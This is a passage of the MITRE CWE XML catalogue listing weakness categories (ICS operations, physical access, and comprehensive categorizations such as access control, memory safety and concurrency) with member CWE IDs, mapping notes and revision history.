	   <Note Type="Maintenance">This category was created in CWE 4.7 to facilitate and illuminate discussion about weaknesses in ICS with [REF-1248] as a starting point. After the release of CWE 4.9 in October 2022, this has been under active review by members of the "Boosting CWE" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG). Subgroup members did not find any CWEs to add to this category in CWE 4.11. There may be some gaps with respect to CWE's current scope, which will require consultation with many CWE stakeholders to resolve.</Note>
	 </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>New Categories of Security Vulnerabilities (NCSV) Technical Project Team (TPT)</Submission_Name>
               <Submission_Organization>Securing Energy Infrastructure Executive Task Force</Submission_Organization>
               <Submission_Date>2022-03-09</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Maintenance_Notes, Relationship_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Maintenance_Notes, Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1381" Name="ICS Operations (&amp; Maintenance): Exploitable Standard Operational Procedures" Status="Incomplete">
         <Summary>Weaknesses in this category are related to the "Exploitable Standard Operational Procedures" category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022: "Standard ICS Operational Procedures developed for safety and operational functionality in a closed, controlled communications environment can introduce vulnerabilities in a more connected environment." Note: members of this category include "Nearest IT Neighbor" recommendations from the report, as well as suggestions by the CWE team. These relationships are likely to change in future CWE versions.</Summary>
         <References>
            <Reference External_Reference_ID="REF-1248" Section="Exploitable Standard Operational Procedures"/>
         </References>
	 <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
	   <Note Type="Relationship">Relationships in this category are not authoritative and subject to change. See Maintenance notes.</Note>
	   <Note Type="Maintenance">This entry might be subject to CWE Scope Exclusions SCOPE.SITUATIONS (Focus on situations in which weaknesses may appear) and/or SCOPE.HUMANPROC (Human/organizational process).</Note>
	   <Note Type="Maintenance">This category was created in CWE 4.7 to facilitate and illuminate discussion about weaknesses in ICS with [REF-1248] as a starting point. After the release of CWE 4.9 in October 2022, this has been under active review by members of the "Boosting CWE" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG). Subgroup members did not find any CWEs to add to this category in CWE 4.11. There may be some gaps with respect to CWE's current scope, which will require consultation with many CWE stakeholders to resolve.</Note>
	 </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>New Categories of Security Vulnerabilities (NCSV) Technical Project Team (TPT)</Submission_Name>
               <Submission_Organization>Securing Energy Infrastructure Executive Task Force</Submission_Organization>
               <Submission_Date>2022-03-09</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Maintenance_Notes, Relationship_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Maintenance_Notes, Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1382" Name="ICS Operations (&amp; Maintenance): Emerging Energy Technologies" Status="Incomplete">
         <Summary>Weaknesses in this category are related to the "Emerging Energy Technologies" category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022: "With the rapid evolution of the energy system accelerated by the emergence of new technologies such as DERs, electric vehicles, advanced communications (5G+), novel and diverse challenges arise for secure and resilient operation of the system." Note: members of this category include "Nearest IT Neighbor" recommendations from the report, as well as suggestions by the CWE team. These relationships are likely to change in future CWE versions.</Summary>
         <Relationships>
            <Has_Member CWE_ID="20" View_ID="1358"/>
            <Has_Member CWE_ID="285" View_ID="1358"/>
            <Has_Member CWE_ID="295" View_ID="1358"/>
            <Has_Member CWE_ID="296" View_ID="1358"/>
            <Has_Member CWE_ID="346" View_ID="1358"/>
            <Has_Member CWE_ID="406" View_ID="1358"/>
            <Has_Member CWE_ID="601" View_ID="1358"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-1248" Section="Emerging Energy Technologies"/>
         </References>
	 <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
	   <Note Type="Relationship">Relationships in this category are not authoritative and subject to change. See Maintenance notes.</Note>
	   <Note Type="Maintenance">This category might be subject to CWE Scope Exclusion SCOPE.SITUATIONS (Focus on situations in which weaknesses may appear).</Note>
	   <Note Type="Maintenance">This category was created in CWE 4.7 to facilitate and illuminate discussion about weaknesses in ICS with [REF-1248] as a starting point. After the release of CWE 4.9 in October 2022, this has been under active review by members of the "Boosting CWE" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG). Subgroup members did not find any CWEs to add to this category in CWE 4.11. There may be some gaps with respect to CWE's current scope, which will require consultation with many CWE stakeholders to resolve.</Note>
	 </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>New Categories of Security Vulnerabilities (NCSV) Technical Project Team (TPT)</Submission_Name>
               <Submission_Organization>Securing Energy Infrastructure Executive Task Force</Submission_Organization>
               <Submission_Date>2022-03-09</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Maintenance_Notes, Relationship_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Maintenance_Notes, Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1383" Name="ICS Operations (&amp; Maintenance): Compliance/Conformance with Regulatory Requirements" Status="Incomplete">
         <Summary>Weaknesses in this category are related to the "Compliance/Conformance with Regulatory Requirements" category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022: "The ICS environment faces overlapping regulatory regimes and authorities with multiple focus areas (e.g., operational resiliency, physical safety, interoperability, and security) which can result in cyber security vulnerabilities when implemented as written due to gaps in considerations, outdatedness, or conflicting requirements." Note: members of this category include "Nearest IT Neighbor" recommendations from the report, as well as suggestions by the CWE team. These relationships are likely to change in future CWE versions.</Summary>
         <Relationships>
            <Has_Member CWE_ID="710" View_ID="1358"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-1248" Section="Compliance/Conformance with Regulatory Requirements"/>
         </References>
	 <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
	   <Note Type="Relationship">Relationships in this category are not authoritative and subject to change. See Maintenance notes.</Note>
	   <Note Type="Maintenance">This entry might be subject to CWE Scope Exclusions SCOPE.SITUATIONS (Focus on situations in which weaknesses may appear) and/or SCOPE.HUMANPROC (Human/organizational process).</Note>
	   <Note Type="Maintenance">This category was created in CWE 4.7 to facilitate and illuminate discussion about weaknesses in ICS with [REF-1248] as a starting point. After the release of CWE 4.9 in October 2022, this has been under active review by members of the "Boosting CWE" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG). Subgroup members did not find any CWEs to add to this category in CWE 4.11. There may be some gaps with respect to CWE's current scope, which will require consultation with many CWE stakeholders to resolve.</Note>
	 </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>New Categories of Security Vulnerabilities (NCSV) Technical Project Team (TPT)</Submission_Name>
               <Submission_Organization>Securing Energy Infrastructure Executive Task Force</Submission_Organization>
               <Submission_Date>2022-03-09</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Maintenance_Notes, Relationship_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Maintenance_Notes, Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1388" Name="Physical Access Issues and Concerns" Status="Draft">
         <Summary>Weaknesses in this category are related to concerns of physical access.</Summary>
         <Relationships>
            <Has_Member CWE_ID="1384" View_ID="1194"/>
            <Has_Member CWE_ID="1319" View_ID="1194"/>
            <Has_Member CWE_ID="1247" View_ID="1194"/>
            <Has_Member CWE_ID="1261" View_ID="1194"/>
            <Has_Member CWE_ID="1332" View_ID="1194"/>
            <Has_Member CWE_ID="1351" View_ID="1194"/>
            <Has_Member CWE_ID="1278" View_ID="1194"/>
            <Has_Member CWE_ID="1255" View_ID="1194"/>
            <Has_Member CWE_ID="1300" View_ID="1194"/>
            <Has_Member CWE_ID="1248" View_ID="1194"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>Jason Fung (Intel), Paul A. Wortman (Wells Fargo)</Submission_Name>
               <Submission_Organization>Intel Corporation, Wells Fargo</Submission_Organization>
               <Submission_Date>2022-05-13</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="139" Name="DEPRECATED: General Special Element Problems" Status="Deprecated">
         <Summary>This entry has been deprecated. It is a leftover from PLOVER, but CWE-138 is a more appropriate mapping.</Summary>
         <Notes>
            <Note Type="Mapping">
               <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
               <xhtml:p>Rationale: This CWE has been deprecated. It is also a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
               <xhtml:p>Comments: see description for suggestions of other CWEs to consider.</xhtml:p>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Community</Submission_Name>
                <Submission_Date>2006-07-19</Submission_Date>
				<Submission_Comment>Submitted by members of the CWE community to extend early CWE versions</Submission_Comment>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Description, Functional_Areas, Name, Relationships, Type</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Previous_Entry_Name Date="2008-09-09">General Special Element Problems</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="1396" Name="Comprehensive Categorization: Access Control" Status="Incomplete">
			<Summary>Weaknesses in this category are related to access control.</Summary>
			<Relationships>
				<Has_Member CWE_ID="9" View_ID="1400"/>
				<Has_Member CWE_ID="13" View_ID="1400"/>
				<Has_Member CWE_ID="202" View_ID="1400"/>
				<Has_Member CWE_ID="256" View_ID="1400"/>
				<Has_Member CWE_ID="257" View_ID="1400"/>
				<Has_Member CWE_ID="258" View_ID="1400"/>
				<Has_Member CWE_ID="259" View_ID="1400"/>
				<Has_Member CWE_ID="260" View_ID="1400"/>
				<Has_Member CWE_ID="261" View_ID="1400"/>
				<Has_Member CWE_ID="262" View_ID="1400"/>
				<Has_Member CWE_ID="263" View_ID="1400"/>
				<Has_Member CWE_ID="266" View_ID="1400"/>
				<Has_Member CWE_ID="267" View_ID="1400"/>
				<Has_Member CWE_ID="268" View_ID="1400"/>
				<Has_Member CWE_ID="269" View_ID="1400"/>
				<Has_Member CWE_ID="270" View_ID="1400"/>
				<Has_Member CWE_ID="271" View_ID="1400"/>
				<Has_Member CWE_ID="272" View_ID="1400"/>
				<Has_Member CWE_ID="273" View_ID="1400"/>
				<Has_Member CWE_ID="274" View_ID="1400"/>
				<Has_Member CWE_ID="276" View_ID="1400"/>
				<Has_Member CWE_ID="277" View_ID="1400"/>
				<Has_Member CWE_ID="278" View_ID="1400"/>
				<Has_Member CWE_ID="279" View_ID="1400"/>
				<Has_Member CWE_ID="280" View_ID="1400"/>
				<Has_Member CWE_ID="281" View_ID="1400"/>
				<Has_Member CWE_ID="282" View_ID="1400"/>
				<Has_Member CWE_ID="283" View_ID="1400"/>
				<Has_Member CWE_ID="284" View_ID="1400"/>
				<Has_Member CWE_ID="285" View_ID="1400"/>
				<Has_Member CWE_ID="286" View_ID="1400"/>
				<Has_Member CWE_ID="287" View_ID="1400"/>
				<Has_Member CWE_ID="288" View_ID="1400"/>
				<Has_Member CWE_ID="289" View_ID="1400"/>
				<Has_Member CWE_ID="290" View_ID="1400"/>
				<Has_Member CWE_ID="291" View_ID="1400"/>
				<Has_Member CWE_ID="293" View_ID="1400"/>
				<Has_Member CWE_ID="294" View_ID="1400"/>
				<Has_Member CWE_ID="295" View_ID="1400"/>
				<Has_Member CWE_ID="296" View_ID="1400"/>
				<Has_Member CWE_ID="297" View_ID="1400"/>
				<Has_Member CWE_ID="298" View_ID="1400"/>
				<Has_Member CWE_ID="299" View_ID="1400"/>
				<Has_Member CWE_ID="300" View_ID="1400"/>
				<Has_Member CWE_ID="301" View_ID="1400"/>
				<Has_Member CWE_ID="302" View_ID="1400"/>
				<Has_Member CWE_ID="303" View_ID="1400"/>
				<Has_Member CWE_ID="304" View_ID="1400"/>
				<Has_Member CWE_ID="305" View_ID="1400"/>
				<Has_Member CWE_ID="306" View_ID="1400"/>
				<Has_Member CWE_ID="307" View_ID="1400"/>
				<Has_Member CWE_ID="308" View_ID="1400"/>
				<Has_Member CWE_ID="309" View_ID="1400"/>
				<Has_Member CWE_ID="321" View_ID="1400"/>
				<Has_Member CWE_ID="322" View_ID="1400"/>
				<Has_Member CWE_ID="350" View_ID="1400"/>
				<Has_Member CWE_ID="370" View_ID="1400"/>
				<Has_Member CWE_ID="384" View_ID="1400"/>
				<Has_Member CWE_ID="419" View_ID="1400"/>
				<Has_Member CWE_ID="420" View_ID="1400"/>
				<Has_Member CWE_ID="421" View_ID="1400"/>
				<Has_Member CWE_ID="422" View_ID="1400"/>
				<Has_Member CWE_ID="425" View_ID="1400"/>
				<Has_Member CWE_ID="441" View_ID="1400"/>
				<Has_Member CWE_ID="520" View_ID="1400"/>
				<Has_Member CWE_ID="521" View_ID="1400"/>
				<Has_Member CWE_ID="522" View_ID="1400"/>
				<Has_Member CWE_ID="523" View_ID="1400"/>
				<Has_Member CWE_ID="549" View_ID="1400"/>
				<Has_Member CWE_ID="551" View_ID="1400"/>
				<Has_Member CWE_ID="555" View_ID="1400"/>
				<Has_Member CWE_ID="556" View_ID="1400"/>
				<Has_Member CWE_ID="566" View_ID="1400"/>
				<Has_Member CWE_ID="593" View_ID="1400"/>
				<Has_Member CWE_ID="599" View_ID="1400"/>
				<Has_Member CWE_ID="601" View_ID="1400"/>
				<Has_Member CWE_ID="603" View_ID="1400"/>
				<Has_Member CWE_ID="611" View_ID="1400"/>
				<Has_Member CWE_ID="612" View_ID="1400"/>
				<Has_Member CWE_ID="613" View_ID="1400"/>
				<Has_Member CWE_ID="620" View_ID="1400"/>
				<Has_Member CWE_ID="623" View_ID="1400"/>
				<Has_Member CWE_ID="639" View_ID="1400"/>
				<Has_Member CWE_ID="640" View_ID="1400"/>
				<Has_Member CWE_ID="645" View_ID="1400"/>
				<Has_Member CWE_ID="647" View_ID="1400"/>
				<Has_Member CWE_ID="648" View_ID="1400"/>
				<Has_Member CWE_ID="708" View_ID="1400"/>
				<Has_Member CWE_ID="732" View_ID="1400"/>
				<Has_Member CWE_ID="798" View_ID="1400"/>
				<Has_Member CWE_ID="804" View_ID="1400"/>
				<Has_Member CWE_ID="836" View_ID="1400"/>
				<Has_Member CWE_ID="842" View_ID="1400"/>
				<Has_Member CWE_ID="862" View_ID="1400"/>
				<Has_Member CWE_ID="863" View_ID="1400"/>
				<Has_Member CWE_ID="918" View_ID="1400"/>
				<Has_Member CWE_ID="921" View_ID="1400"/>
				<Has_Member CWE_ID="923" View_ID="1400"/>
				<Has_Member CWE_ID="925" View_ID="1400"/>
				<Has_Member CWE_ID="926" View_ID="1400"/>
				<Has_Member CWE_ID="927" View_ID="1400"/>
				<Has_Member CWE_ID="939" View_ID="1400"/>
				<Has_Member CWE_ID="940" View_ID="1400"/>
				<Has_Member CWE_ID="941" View_ID="1400"/>
				<Has_Member CWE_ID="942" View_ID="1400"/>
				<Has_Member CWE_ID="1004" View_ID="1400"/>
				<Has_Member CWE_ID="1021" View_ID="1400"/>
				<Has_Member CWE_ID="1022" View_ID="1400"/>
				<Has_Member CWE_ID="1191" View_ID="1400"/>
				<Has_Member CWE_ID="1220" View_ID="1400"/>
				<Has_Member CWE_ID="1222" View_ID="1400"/>
				<Has_Member CWE_ID="1224" View_ID="1400"/>
				<Has_Member CWE_ID="1230" View_ID="1400"/>
				<Has_Member CWE_ID="1231" View_ID="1400"/>
				<Has_Member CWE_ID="1233" View_ID="1400"/>
				<Has_Member CWE_ID="1242" View_ID="1400"/>
				<Has_Member CWE_ID="1243" View_ID="1400"/>
				<Has_Member CWE_ID="1244" View_ID="1400"/>
				<Has_Member CWE_ID="1252" View_ID="1400"/>
				<Has_Member CWE_ID="1256" View_ID="1400"/>
				<Has_Member CWE_ID="1257" View_ID="1400"/>
				<Has_Member CWE_ID="1259" View_ID="1400"/>
				<Has_Member CWE_ID="1260" View_ID="1400"/>
				<Has_Member CWE_ID="1262" View_ID="1400"/>
				<Has_Member CWE_ID="1263" View_ID="1400"/>
				<Has_Member CWE_ID="1267" View_ID="1400"/>
				<Has_Member CWE_ID="1268" View_ID="1400"/>
				<Has_Member CWE_ID="1270" View_ID="1400"/>
				<Has_Member CWE_ID="1274" View_ID="1400"/>
				<Has_Member CWE_ID="1275" View_ID="1400"/>
				<Has_Member CWE_ID="1276" View_ID="1400"/>
				<Has_Member CWE_ID="1283" View_ID="1400"/>
				<Has_Member CWE_ID="1290" View_ID="1400"/>
				<Has_Member CWE_ID="1292" View_ID="1400"/>
				<Has_Member CWE_ID="1294" View_ID="1400"/>
				<Has_Member CWE_ID="1296" View_ID="1400"/>
				<Has_Member CWE_ID="1297" View_ID="1400"/>
				<Has_Member CWE_ID="1299" View_ID="1400"/>
				<Has_Member CWE_ID="1302" View_ID="1400"/>
				<Has_Member CWE_ID="1304" View_ID="1400"/>
				<Has_Member CWE_ID="1311" View_ID="1400"/>
				<Has_Member CWE_ID="1312" View_ID="1400"/>
				<Has_Member CWE_ID="1313" View_ID="1400"/>
				<Has_Member CWE_ID="1314" View_ID="1400"/>
				<Has_Member CWE_ID="1315" View_ID="1400"/>
				<Has_Member CWE_ID="1316" View_ID="1400"/>
				<Has_Member CWE_ID="1317" View_ID="1400"/>
				<Has_Member CWE_ID="1320" View_ID="1400"/>
				<Has_Member CWE_ID="1323" View_ID="1400"/>
				<Has_Member CWE_ID="1328" View_ID="1400"/>
				<Has_Member CWE_ID="1334" View_ID="1400"/>
				<Has_Member CWE_ID="1390" View_ID="1400"/>
				<Has_Member CWE_ID="1391" View_ID="1400"/>
				<Has_Member CWE_ID="1392" View_ID="1400"/>
				<Has_Member CWE_ID="1393" View_ID="1400"/>
				<Has_Member CWE_ID="1394" View_ID="1400"/>
			</Relationships>
			<References>
				<Reference External_Reference_ID="REF-1330"/>
			</References>
			<Notes>
				<Note Type="Mapping">
					<xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
					<xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019. Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves [REF-1330].</xhtml:p>
					<xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
				</Note>
			</Notes>
			<Content_History>
				<Submission>
					<Submission_Name>CWE Content Team</Submission_Name>
					<Submission_Organization>MITRE</Submission_Organization>
					<Submission_Date>2023-04-25</Submission_Date>
				</Submission>
			</Content_History>
		</Category>
      <Category ID="1397" Name="Comprehensive Categorization: Comparison" Status="Incomplete">
			<Summary>Weaknesses in this category are related to comparison.</Summary>
			<Relationships>
				<Has_Member CWE_ID="183" View_ID="1400"/>
				<Has_Member CWE_ID="185" View_ID="1400"/>
				<Has_Member CWE_ID="186" View_ID="1400"/>
				<Has_Member CWE_ID="187" View_ID="1400"/>
				<Has_Member CWE_ID="478" View_ID="1400"/>
				<Has_Member CWE_ID="486" View_ID="1400"/>
				<Has_Member CWE_ID="595" View_ID="1400"/>
				<Has_Member CWE_ID="597" View_ID="1400"/>
				<Has_Member CWE_ID="625" View_ID="1400"/>
				<Has_Member CWE_ID="697" View_ID="1400"/>
				<Has_Member CWE_ID="777" View_ID="1400"/>
				<Has_Member CWE_ID="839" View_ID="1400"/>
				<Has_Member CWE_ID="1023" View_ID="1400"/>
				<Has_Member CWE_ID="1024" View_ID="1400"/>
				<Has_Member CWE_ID="1025" View_ID="1400"/>
				<Has_Member CWE_ID="1077" View_ID="1400"/>
			</Relationships>
			<References>
				<Reference External_Reference_ID="REF-1330"/>
			</References>
			<Notes>
				<Note Type="Mapping">
					<xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
					<xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019. Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves [REF-1330].</xhtml:p>
					<xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
				</Note>
			</Notes>
			<Content_History>
				<Submission>
					<Submission_Name>CWE Content Team</Submission_Name>
					<Submission_Organization>MITRE</Submission_Organization>
					<Submission_Date>2023-04-25</Submission_Date>
				</Submission>
			</Content_History>
		</Category>
      <Category ID="1398" Name="Comprehensive Categorization: Component Interaction" Status="Incomplete">
			<Summary>Weaknesses in this category are related to component interaction.</Summary>
			<Relationships>
				<Has_Member CWE_ID="14" View_ID="1400"/>
				<Has_Member CWE_ID="115" View_ID="1400"/>
				<Has_Member CWE_ID="435" View_ID="1400"/>
				<Has_Member CWE_ID="436" View_ID="1400"/>
				<Has_Member CWE_ID="437" View_ID="1400"/>
				<Has_Member CWE_ID="439" View_ID="1400"/>
				<Has_Member CWE_ID="444" View_ID="1400"/>
				<Has_Member CWE_ID="650" View_ID="1400"/>
				<Has_Member CWE_ID="733" View_ID="1400"/>
				<Has_Member CWE_ID="1037" View_ID="1400"/>
				<Has_Member CWE_ID="1038" View_ID="1400"/>
			</Relationships>
			<References>
				<Reference External_Reference_ID="REF-1330"/>
			</References>
			<Notes>
				<Note Type="Mapping">
					<xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
					<xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019. Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves [REF-1330].</xhtml:p>
					<xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
				</Note>
			</Notes>
			<Content_History>
				<Submission>
					<Submission_Name>CWE Content Team</Submission_Name>
					<Submission_Organization>MITRE</Submission_Organization>
					<Submission_Date>2023-04-25</Submission_Date>
				</Submission>
			</Content_History>
		</Category>
      <Category ID="1399" Name="Comprehensive Categorization: Memory Safety" Status="Incomplete">
         <Summary>Weaknesses in this category are related to memory safety.</Summary>
         <Relationships>
         	<Has_Member CWE_ID="119" View_ID="1400"/>
         	<Has_Member CWE_ID="120" View_ID="1400"/>
         	<Has_Member CWE_ID="121" View_ID="1400"/>
         	<Has_Member CWE_ID="122" View_ID="1400"/>
         	<Has_Member CWE_ID="123" View_ID="1400"/>
         	<Has_Member CWE_ID="124" View_ID="1400"/>
         	<Has_Member CWE_ID="125" View_ID="1400"/>
         	<Has_Member CWE_ID="126" View_ID="1400"/>
         	<Has_Member CWE_ID="127" View_ID="1400"/>
         	<Has_Member CWE_ID="129" View_ID="1400"/>
         	<Has_Member CWE_ID="131" View_ID="1400"/>
         	<Has_Member CWE_ID="134" View_ID="1400"/>
         	<Has_Member CWE_ID="188" View_ID="1400"/>
         	<Has_Member CWE_ID="198" View_ID="1400"/>
         	<Has_Member CWE_ID="244" View_ID="1400"/>
         	<Has_Member CWE_ID="401" View_ID="1400"/>
         	<Has_Member CWE_ID="415" View_ID="1400"/>
         	<Has_Member CWE_ID="416" View_ID="1400"/>
         	<Has_Member CWE_ID="466" View_ID="1400"/>
         	<Has_Member CWE_ID="562" View_ID="1400"/>
         	<Has_Member CWE_ID="587" View_ID="1400"/>
         	<Has_Member CWE_ID="590" View_ID="1400"/>
         	<Has_Member CWE_ID="680" View_ID="1400"/>
         	<Has_Member CWE_ID="690" View_ID="1400"/>
         	<Has_Member CWE_ID="761" View_ID="1400"/>
         	<Has_Member CWE_ID="762" View_ID="1400"/>
         	<Has_Member CWE_ID="763" View_ID="1400"/>
         	<Has_Member CWE_ID="786" View_ID="1400"/>
         	<Has_Member CWE_ID="787" View_ID="1400"/>
         	<Has_Member CWE_ID="788" View_ID="1400"/>
         	<Has_Member CWE_ID="789" View_ID="1400"/>
         	<Has_Member CWE_ID="805" View_ID="1400"/>
         	<Has_Member CWE_ID="806" View_ID="1400"/>
         	<Has_Member CWE_ID="822" View_ID="1400"/>
         	<Has_Member CWE_ID="823" View_ID="1400"/>
         	<Has_Member CWE_ID="824" View_ID="1400"/>
         	<Has_Member CWE_ID="825" View_ID="1400"/>
         </Relationships>
         <References>
	    <Reference External_Reference_ID="REF-1328"/>
	    <Reference External_Reference_ID="REF-1329"/>
	    <Reference External_Reference_ID="REF-1330"/>
         </References>
	 <Notes>
           <Note Type="Mapping">
             <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
             <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves [REF-1330].</xhtml:p>
             <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
	   </Note>
	   
	 </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2023-04-25</Submission_Date>
            </Submission>
         </Content_History>
      </Category>
      <Category ID="1401" Name="Comprehensive Categorization: Concurrency" Status="Incomplete">
			<Summary>Weaknesses in this category are related to concurrency.</Summary>
			<Relationships>
				<Has_Member CWE_ID="362" View_ID="1400"/>
				<Has_Member CWE_ID="363" View_ID="1400"/>
				<Has_Member CWE_ID="364" View_ID="1400"/>
				<Has_Member CWE_ID="366" View_ID="1400"/>
				<Has_Member CWE_ID="367" View_ID="1400"/>
				<Has_Member CWE_ID="368" View_ID="1400"/>
				<Has_Member CWE_ID="412" View_ID="1400"/>
				<Has_Member CWE_ID="413" View_ID="1400"/>
				<Has_Member CWE_ID="414" View_ID="1400"/>
				<Has_Member CWE_ID="432" View_ID="1400"/>
				<Has_Member CWE_ID="479" View_ID="1400"/>
				<Has_Member CWE_ID="543" View_ID="1400"/>
				<Has_Member CWE_ID="558" View_ID="1400"/>
				<Has_Member CWE_ID="567" View_ID="1400"/>
				<Has_Member CWE_ID="572" View_ID="1400"/>
				<Has_Member CWE_ID="574" View_ID="1400"/>
				<Has_Member CWE_ID="591" View_ID="1400"/>
				<Has_Member CWE_ID="609" View_ID="1400"/>
				<Has_Member CWE_ID="663" View_ID="1400"/>
